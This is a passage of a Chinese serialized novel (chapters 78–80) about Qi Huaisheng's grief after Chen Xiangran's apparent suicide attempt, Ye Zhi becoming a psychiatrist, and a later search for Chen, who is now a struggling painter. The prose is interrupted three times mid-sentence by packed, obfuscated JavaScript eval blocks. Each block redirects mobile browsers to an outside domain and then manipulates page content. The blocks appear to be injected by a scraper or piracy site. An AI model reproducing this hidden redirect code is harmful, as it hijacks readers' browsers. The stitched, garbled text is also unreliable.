他记不清那天重拨了几次电话，跪坐在广场冰凉的地面上，顶着路人频频而来的目光，指尖敲击屏幕脱皮发红。而那头已没有反应。 申恺的电话打进来。他捧着手机，像抓着最后一根救命稻草，阴沉地问：“陈向然呢？” 申恺犹犹豫豫，语无伦次：“他在他们操场涂鸦之后人不见了。刚刚好像有人掉下来，从山顶上。我……” 他的手脚后知后觉地变冷。手机那头发生了什么，他不晓得，也不想知道答案。 他觉得自己比起八岁那年毫无长进，巨大的失去当前，只有麻木和疲倦。比起尘埃落定，他想要一辈子的悬而未定。 他是刽子手么？齐怀生揉搓着头发想到，他好爱陈向然，怎么会做那个刽子手……可身为子女那么爱自己的母亲，他的降生貌似也给母亲带去过枷锁和委屈。 何晋试着去海中打听过，得知陈向然当天被送进医院。齐怀生问道是哪个医院。何晋说后续消息被学校压住，是为了陈向然本人的隐私，连学生都鲜有人知道。他拨打了陈向然住过的医院前台的电话，一无所获。 最后一根蛛丝就那么断了。 哪哪的毕业班似乎都一个模子，把人淹没的书山题海，厚重的眼镜，教室后贴的“除了你自己，没有什么能阻止你成功”之类传销一般的标语。笔墨肉眼可见地节节减短、更换，所有人心无旁骛，齐怀生所担心的对插班生的排斥几乎不存在。 渐渐他觉得，悬而未定也不见得好。 起初，心里的希望仍余一簇火苗，他噩梦频起，睡眠紊乱。稍不留心，下课铃一响，才发现课上走神。某天放学班主任叫他谈话，他才第一次走进教师办公室。 附中到处是走在路上还拎着单词书的人，像极了海中。这里寄宿自由，没有准军事化，紧箍咒也从未松垮。 “你来了这么多天，老师还没了解你的情况。”老师叫庄国宁，有些年纪了，说着夹杂粤语的普通话，“你过去什么样我们就不提了，你选择了复读，来我们这么好的学校一定也费了工夫，那一定是抱着豁出去的决心。但是开学以来我总觉得你心不在焉的，有什么事可以跟老师说。咱们高三讲求效率，任何事情都不应该成为影响学习的因素。有什么问题当日解决，或者暂时忘记，明天我们继续投入战斗。要有这种觉悟，好不好？” 庄国宁一直笑着，有一种自认为平易近人的客气。 附中之于齐怀生只是路过，庄国宁也一样，没有资格参与他的心事。因此他什么也没说。等他回过神，眼中只剩下模糊氤氲的夕阳。 那天以来，他第一次倏然落泪。 那时他才注意到，自己大概需要一个心理咨询师。 他跑到附中的心理室敲了敲门，隔壁的老师说，没人的，同学，有什么事吗？ 他问心理老师什么时候回来。这位老师只说，他有别的工作忙，一般不来这里。 他食量减少，齐越杰才看出他不对。夫妇俩尝试过一些沟通，效果不明显。但齐怀生每次感受到关心，只会更努力地让自己投入到复习中去。 齐越杰替他挡了不少事，有关叶近成的事不告诉他，齐卫平的病情报喜不报忧。齐怀生后来不问了，只有刷题能让他什么也不想。 漫长的复习长跑，稳当的高考发挥，最后的考试结束录音响起，齐怀生并没有苦海上岸的如释重负。他交出最后一张答题卡，转头看见喜鹊立于电线一端，巧爪轻蹦，黄昏下一切景致以剪影名状。 盛夏的傍晚，色彩浓烈得像是陈向然为他画过的那幅白色少年。窗外枝叶交错电线，莫名想起和陈向然依偎着看木偶戏的那个午后。 他忽然想回一趟老家。 火车喷薄滚滚浓烟，向着平原荒野笔直而行。 他只是通知了齐越杰一声，用自己省下的生活费买了一张回乡的车票。车站行人错落游动，他拉着行李箱在其间随波逐流。站台被落日镀上旧日的色彩，他伸手遮挡晃人的昏黄。 录取通知还早，他仿佛已衣锦还乡。齐越杰的嘴在齐卫平那儿把不住门，齐卫平在自己儿子出息了这件事上更把不住门，一传十十传百，塘泽的乡亲就当齐怀生已经是镇上出的第一个江大生。在他们的认知中，好像清华北大之外，就属江大最牛气。 石板路旁的柑橘树又结了硕果，中心广场的巨榕仍旧郁郁葱葱。海浪仍在拍打礁石，山上的祠堂、妈祖庙、佛庙香火长续。 他到庙里献几支檀香，不知道许什么愿，只好祈祷所有人平安，再合十参拜。他顺带拜访了黎斯家，看见各式各样的祭祖供品，原来中元节又要到了。 “不高考完了吗？朋友没来啊？”黎斯笑，正蹲坐在家门口一竹凳，修着木偶，“那个叫什么然的。” 齐怀生闭了闭眼：“嗯，没来。” “我还给你俩准备了毕业礼物。”黎斯放下手头活，抹了把汗，去屋里拿了两个拉红联的小木偶，都写着“前程似锦”。两只一看便是对偶，武生小生，服装设计极讲究对称。谁也没戳破，齐怀生也知道自己最大的秘密已经暴露了，笑得无奈。 “一只给他？”齐怀生挑眉，“不是每人一对？” “建议你毕业晚会那天送给人家哦。人家吹萨克斯，你上台献去。”黎斯一本正经调戏他人，与他小时候还有几分神似，“说是你送的就行啦。你哥我做好事不留名。” 齐怀生摩挲两只木偶的脸谱，都笑着。彩绘很细致，眉眼、鬓角，勾提斜飞，每一笔都是活的。看着看着，还觉得小生与陈向然有几分相似，嘴角不知不觉上扬，又突然收敛。 考前忙着复习，考后忙着选学校选专业。闲下来了，行走在故乡的荒原上，一种广阔而深沉的哀寂就包裹了他。荒草迷眼，以前的人观天象而行。他的未来甚至没有天上的星星为他指引。 他重新买把吉他，镇上的集市买的，音质粗糙。他调了音，修饰外壳，跑到浪边去弹奏《鲸吟》。 潮水哗然，副歌反复弹奏几个高音，像鲸鱼陨落前最后的哀鸣，无助而不知疲倦地发出声音。 鲸病了，病重到无力游动，下坠受到来自深海压力的痛苦，会发出最后一声长吟。死后遗体仍在下落，鲸落现象由此出现。 但人类少能发现这类现象。齐怀生最懂海的幽邃，许多哀嗔藏得太深，不易被人听见。 他将木偶摆放在家里的梨花木桌上，没有带走。 海中毕业典礼，他买了一束捧花，清丽的康乃馨，要给叶知的。去时碰上汇演，他便站在校门口干等着。 没等到叶知，等来一个扶着眼镜，鬼鬼祟祟打量他的学生。他不悦地回以目光，然而那学生叫出他的名字：“齐怀生，生哥？” “你哪位？”齐怀生反问。 对方再问：“陈向然偷溜出校，都找你去了吧？” 齐怀生看着对方，穿着随意，没有校服，却是从海中大门走出来的。眼球微微上翻，近视度数一定很深。 齐怀生知道自己凝视人时显狠厉，这学生往后缩了一步，说：“我是他同桌。你来找他的吗？” 同桌，陈向然说过，他两年同桌只有一个刘永凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301997|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。都是缘分。 齐怀生顺口说：“对。” “你知道他生病么？”刘永凡说。 “知道。” “那他回来参加高考了吗？” 齐怀生叹气：“你都不知道，我怎么知道？” 两个互不相关的人因为陈向然并肩了一段路。 刘永凡问了他很多问题，好像比起同桌，他这个外校的更了解陈向然似的。齐怀生一直认为这是个沉闷的学习狂。今天一见，和想象中有点不同。聊及他同样罹患双相，处于轻躁狂时期，齐怀生的态度倏地软下来了。 他说起班里很多事情，提到很多齐怀生没听过的名字。绕来绕去也绕不过陈向然。听到叶知的名字他竖起了耳朵，说有个叫吴自兴的家伙构陷她，陈向然阻止了这件事。 齐怀生攥紧捧花的彩带，拳骨发出“咔”的声响：“这个吴什么的，人呢？” 刘永凡全然没听出其中“杀气”：“早出国了，去加拿大了。人家爸以前还是加拿大籍的，赚的加币。” “呵……”齐怀生嗤之以鼻，“混小子挺滋润。” “未必。”刘永凡笑笑，“他那副衰脸，跟从来都过不好一样。” 毕业晚会的节目是自由观看的，傍晚五点开始。刘永凡说是高一出演，唱歌舞蹈器乐，无非是这些。 这天天气意外的晴朗，晚霞灿烂曜目，给云团镶了金边。齐怀生面对光，身后拖着单薄灰影，轻轻嗅了嗅手里的捧花，淡淡的满天星的香气。崖壁上方，海中礼堂传出空灵的合唱，旋律轻羽般送往远山。萨克斯伴奏不大夺人耳目，却瞬间将他带回曾经的夜晚。 那晚的文艺汇演有过更悠扬的曲调，他怒气冲冲地召集弟兄替他打听。可惜一众好友“办事不利”，只知是海中的“文艺小王子”，演绎了他最爱的曲子。 好天赋，他那时矛盾地想，那“小王子”不经许可大改旋律，优秀的改编仿佛在质疑他的能力。 可他再没听过那么美的演奏了。今后也不会有。青春的回忆和爱留在瑟尔夫陨落的那天，他带走的只有无力，和需要时间消磨的恨意。 壁画还在，不知谁在右上角题了“游鲸”两字作画名，还刻上了陈向然的名印。 刘永凡适时地说起：“我们学校今年开始设置专门的艺术班。因为白峥考上了清华美院，陈向然留了这幅手笔，还上过知名画展，卖了画。听白峥说，”他拢着嘴，神神秘秘的，“赚了十好几万呢。” 十好几万。 风簌簌穿过心脏，冷冽如刀。这样的数字，齐怀生只有在欠叶近成债款时才有概念。本有机会年少有为，陈向然没有继续走下去。 一年来他不敢回想，他曾经的爱人在他看不到的地方失去过什么。 刘永凡接着说：“这么宣传，别人一看，还有点‘全面发展’的意思。” 齐怀生轻蔑道：“招生的资本对吧？” “招商的资本吧。”刘永凡笑，“海中的投资商越来越多了，学校会一直扩招的。” “学费又要涨了？” “也许吧。” …… 他们在岔路口分开。齐怀生没等到叶知，抱着花上山了。 山顶，他离黄昏很近。抬头是暖黄的云团，低头见草尖、树影在身上摇晃，满目斑驳。 他单膝跪地，临崖处轻轻放下花束，什么也没有说。 长风布泽万物，青春也就这么无声无息地过去。 少年的苦泪来不及摊开，就埋进过往，成为无人听见的长吟。 作为牺牲品，也作为幸存者。 79. 蝶笼 刚从一名实习医生转正不到半年，叶知一天收不到几个病患。来人常是第一周收到的几位。一个久病的良医，药调得快，调得准，患者从一周一诊改到三周一诊也是几轮内的事。 这些年叶知觉得自己还蛮幸运。读不成文科，也没有耽误读精神医学。和齐怀生同年考上江大，离开那座小城和一切冗杂的关系。 她康复了，也常想是什么时候康复的。没有什么大彻大悟豁然开朗的瞬间，不过天发现自己的生活已经变了样，过去的争吵越来越远，药量越来越少。周末同齐怀生路过珠江，江上日落与内海湾的夕阳奇妙地重合，她感到前所未有的平静。世界明亮且真实了起来，她深深融入到江边的人来人往、车水马龙之中。 她打开繁复的锁链，从黑暗中迈出，又是这世界的一员。 那年她二十，刚刚大三，五年痊愈。穿上白大褂，从求救者变为施救者，对每一位前来首诊、无神无措的患者说：我知道你现在一定很痛苦，但请放心，这是可以治好的。 齐怀生说过她：多笑笑，你一笑，病人也愿意和你说话。 今天又添一位首诊。 叶知送走一位复诊患者，又收到一封感谢信，翻来覆去正读着，随手点了叫号。 “请，零七，号，陈向然，到606诊室就诊。” 来了一位久违的熟客。 陈向然消失得突然。叶知从医院回到校园，那个受人追捧的“文艺小王子”仿佛一夜间成了忌讳。问了谁都是摇头、遁走。孙临潼听到她问起，脸霎时苍白，嘴唇颤抖着碎念。叶知凑近了才听清，他说：“不是我……不是我……” 再是申恺，他挑明了，是齐怀生不让说。 重名的很多。大学时听到陈向然的名字，叶知下意识找人，过一会儿回过神，发现是同名的学长。医院实习期间再听到名为陈向然的外科医生，叶知没什么想法，知道对方是全院有名的主任医师。 看到熟面孔，她还是吃了一惊。 天光穿过帘缝，正投在诊室门前。进门的男人正撞上灰白的光亮。他耷着眼，头发蓬松、微卷，脸侧垂下散乱的发丝。陈向然留了长发，后脑勺用皮筋胡乱扎了根狼尾。一圈小胡子没刮，看着有些扎手。 蓝灰色羊毛衫，灯笼裤，俨然一副“艺术家”模样。 叶知手里的茶杯举到唇边，没喝，直盯着他的脸。那双眼乌黑，眼白有血丝。瞳仁不对焦，也不看她，深若古井，无波无澜。 他就那么走过来，拉椅子坐下，目光落在桌上的感谢信。字很大，他能清晰地看到内容。 叶知哆嗦着喝了口茶，烫得直咳嗽。 “咳咳……咳——” “工作做得不错。”陈向然开口。 叶知多喝了一口，盖上杯子：“谢……谢谢。” 没有叙旧，没有寒暄。仿佛就是初次见面的医患。她压住尴尬的情绪，浏览他的量表分数，划出重度抑郁和重度焦虑两项，问了他的症状。 陈向然说得很熟练，好像曾经无数次交代过这些。 “上一次看病是什么时候？” “高二。” “什么时候停药的？” “高三。” 叶知眼睛都睁大了：“为什么不看医生？” 高亢的女声在小小的诊室里回荡。陈向然从容地沉默，似乎不打算回答这个问题。空气愈加凝固，门外走动、呼喊、叫号的声音此起彼伏。 叶知抵着眉心，当下自我检讨，是自己问错了，她应当问：“为什么今天又来看了？” 陈向然手里把玩着一支圆珠笔，在打印失败的报告单上随手勾了几笔。极其顺手，但他不大记得自己画的什么：“没什么。跟人做了个交换而已。” “什么交换？”叶知警惕地眯眼。 “有个屁孩儿，学不想上，艺考也不去，就找我学画。非得我看医生吃药，他才回学校去。” 叶知松了口气，只要不是什么奇奇怪怪的灰色交易就好：“那是好事儿嘛。我给你开这几种药，记得按时吃。” 键盘声很清脆。陈向然跟着节奏转笔，最后一下没转成，“咔嗒”掉在桌上。 他一动不动地，垂眸愣了一会儿。 “吃药有用吗，叶知？” 这种问题叶知听过无数遍，也无数次安抚恐惧副作用的病患。她只是从电脑上移开视线——碰上了一双沉静而绝望的眼睛。 那眼睛很深，有一种寒冷在多年前就侵入了他的骨髓。 “你得试试，每个人对药物的适应程度不一样。”叶知很快换了说法，递出诊断书和处方笺，“两周后来复诊，有什么药物反应和我说。” “嗯，谢谢。”陈向然拿走单子，走向诊室的门。 叶知在电脑上敲击了好几下，也没听到开门声。 “还有事吗向然？” “那个……”陈向然背对她，狼尾辫挂在凸起的肩骨上，手紧紧握着门把，“那个谁……” “嗯？”叶知没听清后面的话。 “……没事，谢谢你。”他开门出去，没有回头。 门缝合上，叶知才点下叫号的界面，进来的是一对母女。女儿穿着附中的校服，戴个眼镜，松垮的辫子。一看资料，杨翎，十七岁，在区级二甲医院有过就诊记录。 青少年患者，叶知默默叹了口气。或许她最想帮助的就是这些孩子，可也最头疼这类病号。 叹气的瞬间她低下头，正看到废弃的打印纸上画了一只精致的猫头，大眼睛六道须，额上是阿送独有的标志。比当年他与齐怀生合送予她的生日贺卡画得更好了。线条干净，一气呵成。 她心血来潮想起什么，拿出手机：“不好意思，我打个电话。” 患者的母亲一点不介意，拉着女儿的手不停地说着。 忙音只响了三下，那头传来一个颇有磁性的男声：“干嘛？忙着录像呢。” 叶知手都颤起来：“哥……” 陈向然提着药走出医院，手机又开始振动，他看都不看，红键一划，拒接。 午后阳光惹眼，他眯着眼站在公交站，掏出手机想看看时间，又是来电界面。屏幕上大大的“龙皓”两个字，他感觉眉心一跳，头疼。 还是接了，省得这臭小子蹲在城中村巷尾找他。 “然老师！”一个无比热情的少年声，“咱们下次上课什么时候？我可回学校上课了，你不能食言。” “食什么言？”陈向然一手插兜，宽松的裤管耷在运动鞋面。 “教我学画啊。” “不会。” “怎么就不会了？你上次上得多好啊。” 陈向然捏了捏攒竹穴：“谁他妈给你上过课了？” “就上回去你家的时候啊。”龙皓一点没觉得这叫强词夺理，“你那幅蝶笼，画得太有味道了。我就看那么几眼，都能学到好多东西啊。” 陈向然轻叹，心想这孩子过誉。看几眼就能学到东西，完全是人家的天赋。 看几眼就能学，那就自己来看看。陈向然只能这么告诉对方。 于是又在家门口看到龙皓，刷着手机，立着羊毛领，一身冬校服，怕是一下课就过来了。城中村窄巷满是黑洼洼的水坑，那发黑的裤管指不定是被哪只路过电驴泼湿的。小少年毫不在意，蹲在那像个街头流氓。 站起来冲他笑，又显得单纯。龙皓今年十七，还在读高一，身高已几乎压过陈向然。 陈向然没看他，钥匙一转进了家门。开起小日光管，是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301998|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七十平的住处。小小一方空间，愣圈了二十平地方作画室——各式型号的颜料、画笔、刮刀、画布……琳琅满目堆得到处都是，一走进去，很难有下脚的地方。 用龙皓的话来说，饭吃得挺单一，画具倒应有尽有。 “然老师，又去吃墨鱼仔了？”龙皓往脚上套塑料袋，才小心翼翼踏进画室，“你从那个方向来，一定是去海鲜摊了。” “嗯。” “你怎么不换换花样啊？不如我请你吃顿牛排？就当学费了。” 听到牛排，陈向然瞥去一眼。他做过电疗，往事不太记得清，只记得因为“牛排”，惹过某个人不开心。 他没说话，掀开一块黑布，露出室内唯一的画架。《蝶笼》还挂在上面，差不多晾干了。 金黄、橙红、殷红，层层油彩厚实叠加的天空，漩涡一样，飞散彩色的碎片，咋一看，像要把人的意识卷进热烈幽深的画面。这样的天空下有一方形的笼，栏杆延伸出长长的黑影。笼中一只蜷缩的虫，背上残存荧绿的碎末。棕褐发黑，干瘪丑陋。卷须的几分动感昭示它尚有生命。 一只碎了翅膀、囚于笼中的彩蝶。丝丝颤动，还苟活着。龙皓看得入迷，伸手要碰，被陈向然打掉了手。 “没干透。”陈向然说。 龙皓环顾四周——墙上、天花板都是干了的颜料。除此之外没有别的画卷。“你还有几幅画呢？” “卖了。”陈向然推开窗户，顺手擦亮火机，点了根烟。 小巷上方一线天光，朦朦胧胧给他圈了一层绒边。他形容颓丧，轮廓却是年轻的，轻烟拂过他的下颌线，袅袅向天际去。 龙皓从不懂客气为何物：“老师你别开玩笑了，你哪卖出过画呢。哈哈哈……”笑了好一会，目光被陈向然的侧脸吸引，那面不改色的样子，不像开玩笑，于是笑声直线下滑：“呃……卖了多少？” 陈向然伸出手掌。 龙皓猜了个靠谱的：“五千？” 陈向然摇摇头。 龙皓眼睛亮了：“五万？” 陈向然似乎翻了个白眼。 龙皓的神情像是被金库闪瞎了眼：“该不是五十万吧老师？” “五百。” 龙皓：“……” 按画的大小、画种划分，五百到三千不等，还是与画廊老板混熟后，给做的推荐。大型画展愿意以低价售画，算是幸运之事。幸运到陈向然疑窦频起，他起先试着交易了一幅画，八百块，钱入卡里，无事发生，他才交出手里其它作品。 没事涂几幅简约的画，一个月的花销就有着落了。没什么不好的，陈向然想。 然而有位爷不同意：“凭什么啊，然老师，这么好的作品你就贱卖了？” “没什么好作品。”陈向然吐出白雾，在窗台上敲去烟灰，“没有人欣赏，它就没有价值。” 可能是他身上捉摸不透的气质，龙皓不时感到他话里有话。 “那我欣赏，你是不是可以卖给我？”龙皓正色道。 陈向然觑他一眼，烟支举到唇边：“多少？” “蝶笼。”龙皓指向画架，“十万打底，你去问问展厅，让他们跟我拍卖。” “成交。”陈向然碾灭烟头，准确地透进烟灰缸，走出门去。 龙皓愣成块木头，扯扯发皱的校服，追到门口喊：“我是帮你抬价啊老师，你把画交给我，我帮你卖，你给我分成怎么样？一成也行。” 洗手间里传来闷闷的回音：“随你便。” 龙皓一蹦三尺高，开始搜刮这画室里的画。大部分都卖出了，只在抽屉里发现一幅用塑料袋包扎起来的旧画。 金橙的天空、绿树、黄花、红绿操场、褐色的楼，五彩缤纷勾勒一个纯白的翩翩少年。 80. 情怯 巨船扬帆，浩荡的汽笛声在海上远去，海浪起伏低吟。 头戴式耳机里音乐传来，齐怀生脑海里便是这样的景象。 鱼儿翻跃，鸥鸟轻落桅杆。水手拉扯纤绳，风来，帆起，高唱南海之上流传的异番歌谣。 画面持续没有多久，音符一个个下落，变得寡淡、不真实。他精神难以集中，硬着头皮开唱，怎么都没有味道。几乎要怀疑最近灵感下滑得厉害。 “停停停！” 听到声令，他摘下耳机，睁开眼，一身嘻哈风的申恺在他身旁摇头摆手。 他无奈地甩下耳机，这是第三遍出错了。 申恺手忙脚乱接住他昂贵的耳机，哭笑不得：“这是怎么了？我好不容易来江洲陪你，就给我听这个？” 齐怀生头一回录得那么累，额角沁出薄汗，太阳穴微微跳动，整个人瘫进转椅里，长长地呼出一口气。手胡乱一探，攥紧桌上一只锁形玉石。冰冰凉的，握在手心。 地摊货，小巧玲珑，印着老家和寺庙的名字。细链曾是金色的，时间长了褪作暗棕色。他不管这饰品旧不旧，搭不搭衣服，就是戴着。几乎成了他的标志。 “哟，”申恺鸭舌帽一戴，比了个手势，“生哥这就虚脱了？以后媳妇儿咋办？” 齐怀生受不了他这风流相，小腿一摆踹得他嗷嗷叫，咬牙切齿道：“你小子，给我交代，什么时候跟叶知——” “哎哎哎，冤枉啊。”申恺跟受惊的哈巴狗似的，躲门边了，“这件事，你不开口，我绝对不敢。” “说什么呢……”齐怀生疲倦地别开脸。 正好看见新买的小书架，放了些音乐理论书、大学课本、心理学相关书籍。没放满，余留些空间放了视频网站或是听众寄来的小礼物。阿送“喵”地打了声哈欠。看样子是醒了，睡得不错。柔软的身躯一晃一抖的，从音响后面优雅地钻出来，准确地找到它的食盆，咯吱咯吱吃起来。 所谓“自由”职业，就是一首歌翻出百十来个花样做视频，到了深夜累瘫在同一只转椅上，摘下发热的耳机。齐怀生这时候总是呆滞地凝视那一团灰褐色的毛球。小小的屋子里温暖恬静，不禁摸摸它的皮毛。叶知说他改了性子，大老粗也知道对小动物温柔了。 然而本性难移，他仍习惯粗暴地拎起毛绒绒的后颈扔回窝里。只是夜幕降临后，那团小生灵在昏黄的夜灯下安睡，他一恍神，就想起某个人。 “来吧，帮我调音。”齐怀生放下水杯，又要去拿耳机话筒。 申恺眼疾手快，夺走装备：“行了，今天就歇会儿吧，陪兄弟我去一个地方。” 申恺不知怎么找的这家小酒吧，在城中村深处，比李家的巷头酒吧更破旧。吊灯坏成了古董，没修。老板说盈利不多，能省则省。于是门口的LED招牌一闪，酒吧生生搞出鬼屋的氛围。申恺挺高兴，说半明不暗，这叫浪漫。 齐怀生不屑地觑他：“哦，现在孤家寡人到找我来浪漫了？” 申恺猝然喷出一口小麦酒，使劲拍打胸口：“咳咳咳——哥……我还没你那癖好……咳！” “什么癖好……” “没那癖好你跟丢了魂一样？”申恺唰唰抽了大把纸巾捂在嘴上。 齐怀生盯着啤酒细小的泡沫，酒水里倒映出他的一只眼睛，若有所思，锋芒敛藏。 “不就是叶知说见到他了嘛。”申恺扯开一个苦笑，“那时候，我也吓得不轻。后来想想那高度，掉下来了华佗再世都救不回来。你该想到的。” “我知道。”他灌了一大口酒，闭眼等酒劲散去，偏头望玻璃落地窗外。 城中村的道路还不如石川的宽敞，但外卖电驴、建材板车总是能灵活穿梭其中。日结工蹲在路边等下一桩工作，大冬天里裹一件军绿色旧外套，以香烟解乏。他明白申恺为什么选这样的地方，鱼龙混杂的氛围像极了他们的年少。发小爱叙旧，回回要刻意翻出他不想触及的回忆。 “那就去见人。”申恺“叮”地敲下玻璃杯，“跟他说，你当时不知道他遇到什么事，也没想抛弃他。说开了多好。” 齐怀生用手指推推杯子，默然半晌。 背后的灯闪了闪，像是回应外面的阴天。细雨如丝，凉透整个城中村错综复杂的大街小巷。进城务工的外地人风雨无阻，拉车抗货从酒吧落地窗外经过。很近，齐怀生只稍瞥去一眼，那褐色皮肤上的水珠颗颗分明。 剥开繁华的皮，里面皆是肮脏和无序。总有人痛苦地过着“美好”的生活。 “……不是那么简单的事。”他缓缓说，“这么多年了一直消失，他可能不愿意见人。” “感情的事，想那么复杂干什么？”申恺大咧咧地摆手，“听我的，见了面什么都清楚了。兄弟和你一起去。” “我那时……”齐怀生顿了顿，挠挠前不久刚削短的头发，“我那时只想着把人拉回来就好。老觉得，如果那时候有人早一点发现我妈……就没那事了。” 申恺倏然不语。 “救回来，一切就会好。一般人都这么想吧。我从没想过阻止一场自杀后，被救者今后的人生会面临什么。” …… 齐怀生上大学后爱上了看画展，起初和叶知来，后来约上附中的老同学，再后来被申恺黏上，甩不掉了。这个“情圣”在石川有了自己的服装厂，扔给何晋他们看家，只身来江洲逍遥。说经济基础有了就要修个上层建筑，随生哥陶冶一下情操。 齐怀生没心思陶冶情操，只是看画能激发作曲灵感，像以前看着陈向然的画写歌那样。他浏览展厅，偶尔问问画的价格，怀念旧人。 展厅很大，在一个许多大科技公司入驻的繁华地段，占用了写字楼大厦的两层楼。墙壁蜿蜒的角度有讲究，无论站在哪个方位，都有种一眼望不尽的幽深视觉。 “小哥，又来看呐？”来的次数多了，跟经理都混了个脸熟，“今天有没有钟意的啊？” “您有什么推荐？” “喏，新来三幅画，作者是个年轻有为的艺术家，名气不小呢。” 能称作“艺术家”的少有年轻人，齐怀生冲着铭牌而去，却先被那色彩吸了眼球。他像被勾了魂一样，一步一步走到画前，抬手摸到上面的尘埃。 很多年前，陈向然流连在石中的涂鸦墙前，说他想像那样任意而画。于是他画了齐怀生。这幅白色少年有最恣意的用色，却在勾勒他的轮廓时小心翼翼。 齐怀生指尖向下移动，摸至右下角的铭牌，上面写着作者——不是陈向然，是一个他不认识的名字。竟还用了艺名么，他想。 画卷唤起很多回忆。他蛮庆幸，就算眼前的生活和曾经的想象相去甚远，至少还能选择想做的事。陈向然年少时走了太多弯路，现实反反复复如潮水，把他辛苦堆筑的堡垒冲垮，夷作沙堆。齐怀生不知道他这些年作了什么样的挣扎，还是走上了绘画的路。 他忽然想去见见旧人。 就这么凭着一时冲动，从经理那问到一个寄件址。中学附近的一片学区房，楼栋不大密集，楼层多，是前两年刚加装电梯的老房子，重新装修后算是崭新的住宅。齐怀生好奇，进中介店位问了问房价。心想陈向然或许过上了很好的生活。不愁钱，有喜爱的事……兴许还有很多朋友，有酒，有茶，有忙碌，前途光明…… 地址上的房号是在一楼，齐怀生就在那门前等着。冬天和阴雨加快夜晚来临，身上穿的衣服不够御寒。 “咔嚓”一声，有人从他等待的那扇门走出来，顺手关上了门。那男生裹紧大衣，提了袋生活用品。光线很暗，但光看身段，齐怀生也确信那不是陈向然。 “小兄弟。”齐怀生上去拦人，掏出手机调出陈向然以前的照片，“认识这个人吗？” “呃……啊？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301999|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 龙皓刚接到他然老师的惊悚电话，要上人家家里去。极度紧张的情绪没缓过来，被一个素未谋面目光不善疑似老大哥的人物拦住，脑筋一时接不上。 “你，你谁？” “认识吗？”齐怀生又问。 龙皓拿过手机，把照片放大了看，盯着看，认出是谁后，瞳孔放大，越看越爱不释手。这个陈向然留着短发，干干净净的学生相。他心想，原来不苟言笑的然老师也有这么可爱的时候。 “我的妈耶……小鲜肉啊……”龙皓摇头晃脑，发出回转的感叹，“大哥你能把照片发给我吗？” 齐怀生面无表情地抢回手机：“你知道他在哪么？” “我现在就要去他家。”龙皓见齐怀生盯着自己手里的生活用品，那眼神让人心慌，忙把东西藏身后，“你如果想拜访他的话……建议过几天，周末吧。” “为什么？”齐怀生保持着礼貌，脸色却不大好看，“你叫什么名字？跟他什么关系？” 龙皓愣了一下，心说这话不该我问么？ “我……我是他学生。”莫名其妙被那眼神吓住，连反问都放弃了，“真的，这几天他不希望外人打扰。我先走了，再见！” 说完他火箭般逃窜，驾上小电驴风驰而去，扬起一团尘土。 齐怀生站在朦朦烟尘里，目不转睛，面无波澜…… 他是外人？ 齐怀生心里快气炸了。我是外人，难道你小子是内人？哪里毕业干什么工作月薪多少还能自诩“内人”？ 他也骑了电驴追上去，在晚高峰的车队长龙中钻行超车。他紧紧盯住前方红色头盔。夜晚灯火不均，忽明忽暗，认不清老城区的路。直到途径下午来过的酒吧，才发现是江洲最大的城中村。 握手楼凌乱交错，巷路歪斜，新装修的店铺和世纪初的老防盗铁门交叉排列。电线从电箱里漏出，和枯树枝交缠着，从雨棚上方垂下，无人清理。 男生轻车熟路，避开人多的巷子，在迷宫似的地方弯来拐去。齐怀生来不及记住路线，光跟着跑，途中差点撞上一外卖保温箱。他远远看到男生在某个铁门前停下电驴，于是在十米开外停了车，摘下头盔，记住了男生进入的那扇门——比起其他贴了对联和福字的门，这扇简陋了不少。 临到头倒紧张了，他没想好拜访的理由。 身边的海鲜摊、水果店、烟酒茶铺闪着灯牌，饺子店里飘出的热气和冷空气同时迎面。他伸手碰了一下墙上残缺的维修、纹身、招租广告——被今天的小雨浇湿了。 齐怀生发现周围路人都喜欢偶尔仰视，尤其是住在这里的年轻人。他于是跟着抬头，东边有江，大厦高塔亮起霓虹，西边工地和烟囱喷吐黑云，氤氲橙黄的天色。仿佛在荒芜中望见另一个世界的来客。这座城市像个不知疲惫的永动机，似乎每个人都能找到属于自己的时空。 听说在此方生活的人都梦想着那个彼方……陈向然是不是还梦想着什么？ 他走到那扇门前，外扇门虚掩着，他转了转里扇门的把手，没拧动。 这么近了，他才听见里面动静。是刚刚那男生的呼喊：“我的错我的错，我以为你说所有画交给我……放手，我没法呼吸——” “对，怪我。我弄丢的东西太多了。”另一个声音困兽一样，凶猛又可怜地发抖，徘徊在疯狂边缘，“我他妈怎么对你小子大意了……” “老师……” “出去……出去！”衣物摩擦、拖鞋踩踏的声愈来愈响，“滚回去！别再进来了……别看见我……” 